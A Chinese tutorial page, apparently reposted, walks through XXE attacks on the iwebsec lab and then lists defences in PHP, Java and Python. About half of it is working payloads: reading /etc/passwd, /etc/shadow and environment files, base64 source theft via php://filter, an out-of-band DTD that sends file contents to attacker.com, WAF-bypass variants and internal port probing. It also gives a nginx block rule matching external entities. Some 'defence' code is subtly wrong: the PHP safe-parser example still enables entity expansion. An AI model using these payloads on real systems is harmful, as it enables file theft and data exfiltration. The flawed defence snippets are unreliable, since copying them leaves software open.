当前位置: 首页 > news >正文

iwebsec靶场 XXE漏洞实战:3种协议读取/etc/passwd与源码(附PHP/Java/Python防御代码)

iwebsec靶场XXE漏洞深度实战:从协议利用到多语言防御

1. 靶场环境快速搭建与配置

iwebsec作为专为Web安全设计的漏洞靶场,其Docker镜像已预置XXE漏洞场景。执行以下命令即可启动环境:

docker pull iwebsec/iwebsec:latest docker run -d -p 80:80 --name iwebsec_xxe iwebsec/iwebsec

启动后访问http://localhost/xxe即可进入实验界面。该靶场模拟了典型的XML数据处理场景,关键漏洞代码如下:

$xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // 危险配置:启用外部实体加载

环境验证技巧

  • 使用docker ps确认容器状态
  • 通过Burp Suite拦截/xxe接口请求
  • 初始测试Payload:<test>hello</test>应返回200响应

2. 三协议利用实战详解

2.1 file://协议读取系统文件

经典/etc/passwd读取

<?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <creds> <user>&xxe;</user> <pass>test123</pass> </creds>

进阶技巧

  • Windows系统路径:file:///c:/windows/system.ini
  • 特殊文件读取:
    <!ENTITY xxe SYSTEM "file:///proc/self/environ"> <!-- 环境变量 --> <!ENTITY xxe SYSTEM "file:///etc/shadow"> <!-- 需root权限 -->

结果处理

文件类型处理方式工具建议
普通文本直接查看Burp Decoder
二进制文件Base64编码读取php://filter
权限受限文件尝试目录遍历../../跨目录

2.2 php://filter获取源码

Base64编码读取

<!DOCTYPE data [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php"> ]>

多文件批量获取技巧

  1. 通过file:///var/www/html/目录列表确定文件路径
  2. 使用链式过滤器:
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode|convert.iconv.UTF8.UTF16/resource=config.php">
  3. 解码工具推荐:
    base64 -d file.txt > output.php

2.3 http://协议外带数据

OOB(Out-of-Band)利用

<!DOCTYPE data [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]>

evil.dtd内容

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;

网络监听准备

# 攻击机开启HTTP服务 python3 -m http.server 8080 # 配合nc监听 nc -lvnp 8080

3. 防御方案与代码实现

3.1 PHP安全处理

最佳实践

libxml_disable_entity_loader(true); // 彻底禁用外部实体 // 替代方案:使用安全解析器 $dom = new DOMDocument(); $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_NONET);

输入过滤正则

$filtered = preg_replace('/<!ENTITY.*?>/i', '', $xml);

3.2 Java防御方案

SAXParserFactory配置

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Spring Boot拦截器示例

@ControllerAdvice public class XXEProtector implements WebMvcConfigurer { @Override public void configureMessageConverters(List<HttpMessageConverter<?>> converters) { converters.add(new XmlMapperHttpMessageConverter()); } }

3.3 Python防护措施

lxml安全解析

from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True) safe_xml = etree.fromstring(xml_content, parser)

Django中间件示例

class XXEMiddleware: def __init__(self, get_response): self.get_response = get_response def __call__(self, request): if 'xml' in request.content_type: request._body = self.sanitize_xml(request.body) return self.get_response(request)

4. 高级利用与检测技巧

4.1 盲注检测方法

时间延迟检测

<!ENTITY xxe SYSTEM "http://attacker.com/?ping=1&delay=5">

DNS外带验证

<!ENTITY xxe SYSTEM "http://[UNIQUE_ID].attacker.com/">

4.2 绕过WAF技巧

编码混淆

<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY &#x25; bypass SYSTEM 'http://attacker.com/?%payload;'>">

协议嵌套

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">

4.3 内网探测实践

端口扫描Payload

<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">

响应时间对照表

响应时间可能状态判断依据
<100ms端口开放TCP握手成功
>2000ms端口关闭连接超时
即时拒绝防火墙RST包响应

5. 企业级防护体系建议

SDL流程控制点

  1. 需求阶段:明确禁用XXE的架构设计
  2. 开发阶段:使用安全XML库白名单
  3. 测试阶段:DAST扫描+手工验证
  4. 运营阶段:WAF规则定期更新

WAF规则示例

location / { if ($request_body ~* "<!ENTITY.*SYSTEM") { return 403; } }

监控指标

  • 异常XML请求频率
  • 非常规文件访问日志
  • 外部实体加载行为
http://www.jsqmd.com/news/1149880/

相关文章:

  • DVWA DOM XSS 4级漏洞实战:从Low到Impossible的3种绕过与1个防御核心
  • BQ25887充电芯片与TM4C129ENCPDT的电池平衡系统设计
  • 基于Arduino单片机温湿度报警 大棚温湿度采集系统 DHT1131(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_
  • Spring Boot + Vue 前后端分离订餐系统:5个常见安全漏洞与JWT认证方案
  • Citrix DDC 与 vCenter 证书信任:2种证书获取方法对比与“受信任的人”存储安装要点
  • Java RMI反序列化漏洞实战:ysoserial工具链利用与3种防护策略
  • 【Springboot毕设全套源码+文档】基于SpringBoot的吉他谱分享平台的设计与实现(丰富项目+远程调试+讲解+定制)
  • Unlock Music终极指南:3步解锁加密音乐,重获数字音乐所有权
  • XSS-Platform 源码部署实战:PHP 7.4 + Apache 环境 5 步配置避坑指南
  • PIC18F47Q10与PAM8904构建高效嵌入式警报系统
  • App安全测试自动化:3款开源工具对比与CI/CD集成实战
  • OWASP ZAP 2.15 与 Burp Suite 2024 对比评测:5 大核心功能与实战效率分析
  • 探索式测试(ET)与脚本测试(ST)实战对比:3个真实场景下的效率与缺陷发现率分析
  • Burp Suite CO2 1.2.0 插件实战:5步集成SQLMap自动化SQL注入检测
  • CVE-2023-33246 Apache RocketMQ 5.1.0 漏洞深度剖析:从配置更新到命令注入的3层调用链
  • EyouCMS 1.5.5 与 1.4.3 版本对比:2类后台RCE漏洞的利用路径演变
  • x64dbg 逆向 Qt5.12.3 授权校验:3步定位关键跳转与汇编补丁实战
  • ISO 14229-1 UDS 安全访问实战:27服务种子密钥交换与3种NRC错误处理
  • Docker 2375端口安全加固:3步配置TLS加密与防火墙规则
  • 庭院火锅实测科普:理性选型避坑全指南
  • UDS 0x29 服务 APCE 模式实战:基于 OpenSSL 生成 X.509 证书的 5 步配置
  • iwebsec靶场第8关源码解析:preg_match过滤缺陷与5种绕过方案对比
  • Spring Boot Actuator 未授权访问:5个高危端点检测与3种安全加固方案
  • Python LSB 图片隐写实战:3种编码方案对比与卡方检测分析
  • XXE漏洞自动化检测:BurpSuite插件与5款开源工具实战评测
  • Unlock-Music音乐解锁工具:5分钟实现跨平台音乐自由播放
  • CVE-2017-12615漏洞修复与配置审计:从1个高危参数到5项安全加固实践
  • Apache 2.4 安全加固:3步关闭TRACE/TRACK方法,修复CVE-2003-1567等12个漏洞
  • Fastjson 反序列化漏洞实战排查:3 种检测方法与 2 种应急缓解脚本
  • 【大数据毕业设计】基于大数据技术的电商消费用户画像建模系统的设计与实现 基于 Django 的电商用户画像聚类分析与可视化系统(源码+文档+远程调试,全bao定制等)